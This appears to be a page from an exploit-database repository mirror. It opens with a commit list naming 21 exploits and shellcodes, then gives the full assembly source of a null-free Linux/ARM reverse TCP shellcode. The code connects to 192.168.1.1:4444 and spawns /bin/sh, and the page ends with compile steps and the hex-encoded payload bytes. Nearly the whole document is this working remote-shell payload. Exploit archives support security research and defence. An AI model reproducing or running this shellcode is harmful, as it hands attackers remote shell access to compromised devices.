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Offensive Security
acaa042761
21 changes to exploits/shellcodes Artifex MuJS 1.0.2 - Denial of Service Artifex MuJS 1.0.2 - Integer Overflow BMC BladeLogic 8.3.00.64 - Remote Command Execution Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection Gnew 2018.1 - Cross-Site Request Forgery Nexpose < 6.4.66 - Cross-Site Request Forgery Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download Task Rabbit Clone 1.0 - 'id' SQL Injection TSiteBuilder 1.0 - SQL Injection Hot Scripts Clone - 'subctid' SQL Injection Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection Buddy Zone 2.9.9 - SQL Injection Netis WF2419 Router - Cross-Site Request Forgery KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery Linux/x86 - Egghunter Shellcode (12 Bytes) Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)
78 lines
2.1 KiB
NASM
78 lines
2.1 KiB
NASM
/*
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* Title: Linux/ARM - Reverse Shell TCP (/bin/sh). Null free shellcode (80 bytes)
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* Date: 2018-01-25
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* Tested: armv7l (Raspberry Pi v3)
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* Author: rtmcx - twitter: @rtmcx
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*/
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.section .text
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.global _start
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_start:
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/* Enter Thumb mode */
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.ARM
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add r3, pc, #1
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bx r3
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.THUMB
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/* Create a new socket*/
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mov r0, #2 // PF_INET = 2
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mov r1, #1 // SOCK_STREAM = 1
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eor r2, r2, r2 // Zero out r2
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mov r7, #100 // Put 281 in r7..
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add r7, #181 // ..in a 2-step operation
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svc #1 // syscall returns sockid in r0
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mov r4, r0 // Save sockid in r4
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/* Connect to client */
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adr r1, struct_addr // Address to struct_addr
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strb r2, [r1, #1] // Replace AF_INET with NULL
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mov r2, #16 // Address length
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add r7, #2 // r7 already contains 281, so add 2 = 283
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svc #1 // Client sockid will be returned in r0
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/* Duplicate STDIN, STDOUT and STERR */
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mov r0, r4 // Saved sockid
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eor r1, r1, r1 // Zero r1 for STDIN
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mov r7, #63 // Syscall for dup2
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svc #1 // Execute syscall
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mov r0, r4 // Saved sockid
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add r1, #1 // STDOUT (1)
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svc #1 // Execute syscall
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mov r0, r4 // Saved sockid
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add r1, #1 // STDERR (2)
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svc #1 // Execute syscall
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/* Execute shell */
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adr r0, shellcode // Address to "/bin/sh"
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eor r1, r1, r1 // Zero out r1
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eor r2, r2, r2 // And r2
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strb r2, [r0, #7] // Replace 'X' with NULL
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mov r7, #11 // Syscall for execve
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svc #1 // Execute syscall
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struct_addr:
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.ascii "\x02\xaa" // AF_INET 0xff will be NULLed
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.ascii "\x11\x5c" // port 4444
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.ascii "\xc0\xa8\x01\x01" // IP Address (192.168.1.1)
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shellcode:
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.ascii "/bin/shX"
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/*
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Compile and link with:
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# as -o shellcode.o shellcode.s
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# ld -N shellcode.o -o shellcode
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\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
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*/ |